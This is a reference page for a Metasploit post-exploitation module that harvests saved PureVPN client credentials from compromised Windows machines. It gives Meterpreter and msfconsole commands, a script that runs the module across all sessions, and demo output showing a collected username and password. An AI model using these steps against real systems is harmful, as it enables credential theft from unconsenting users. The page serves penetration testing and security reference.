Windows Gather PureVPN Client Credential Collector - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/purevpn_cred_collector metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Gather PureVPN Client Credential Collector
Module: post/windows/gather/credentials/purevpn_cred_collector
Source code: modules/post/windows/gather/credentials/purevpn_cred_collector.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Finds the password stored for the PureVPN Client.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/purevpn_cred_collector

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/purevpn_cred_collector
msf post(purevpn_cred_collector) > show options
    ... show and set options ...
msf post(purevpn_cred_collector) > set SESSION session-id
msf post(purevpn_cred_collector) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/purevpn_cred_collector")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Introduction

This module allows you to collect login information for PureVPN client, specifically the login.conf file.

Vulnerable Application

Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:

Options

RPATH

You may manually set the RPATH datastore option to allow the post module to find the installed directory of PureVPN.

Demo

msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun
[*] Reloading module...

[*] Searching PureVPN Client installation at C:\ProgramData
[*] Found PureVPN Client installation at C:\ProgramData
[*] Checking for login configuration at: C:\ProgramData\purevpn\config\
[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf
[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1
[+] Collected the following credentials:
[+]     Username: asfafsdas
[+]     Password: 23423423
[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt
[*] Post module execution completed

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Msfconsole Usage

Here is how the windows/gather/credentials/purevpn_cred_collector post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/purevpn_cred_collector

msf6 post(windows/gather/credentials/purevpn_cred_collector) > show info

       Name: Windows Gather PureVPN Client Credential Collector
     Module: post/windows/gather/credentials/purevpn_cred_collector
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Manuel Nader #AgoraSecurity

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RPATH                     no        Path of the PureVPN Client installation
  SESSION                   yes       The session to run this module on.

Description:
  Finds the password stored for the PureVPN Client.

References:
  https://www.trustwave.com/Resources/SpiderLabs-Blog/Credential-Leak-Flaws-in-Windows-PureVPN-Client/
  https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2018-010/?fid=11779

Module Options

This is a complete list of options available in the windows/gather/credentials/purevpn_cred_collector post exploitation module:

msf6 post(windows/gather/credentials/purevpn_cred_collector) > show options

Module options (post/windows/gather/credentials/purevpn_cred_collector):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RPATH                     no        Path of the PureVPN Client installation
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/purevpn_cred_collector post exploitation module:

msf6 post(windows/gather/credentials/purevpn_cred_collector) > show advanced

Module advanced options (post/windows/gather/credentials/purevpn_cred_collector):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/purevpn_cred_collector module can do:

msf6 post(windows/gather/credentials/purevpn_cred_collector) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/purevpn_cred_collector post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/purevpn_cred_collector) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Only meterpreter sessions are supported by this post module

Here is a relevant code snippet related to the "Only meterpreter sessions are supported by this post module" error message:

32:	    )
33:	  end
34:	
35:	  def run
36:	    if session.type != 'meterpreter'
37:	      print_error ('Only meterpreter sessions are supported by this post module')
38:	      return
39:	    end
40:	
41:	    locations = get_locations
42:	    content = get_content(locations)

No username/password found

Here is a relevant code snippet related to the "No username/password found" error message:

41:	    locations = get_locations
42:	    content = get_content(locations)
43:	    if content && content !~ /^\-1\r\n$/
44:	      get_client_creds(content)
45:	    else
46:	      print_status("No username/password found")
47:	    end
48:	  end
49:	
50:	  def get_locations
51:	    progfiles_env = session.sys.config.getenvs('ProgramData')

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References

See Also

Check also the following modules related to this module:

Authors

  • Manuel Nader #AgoraSecurity

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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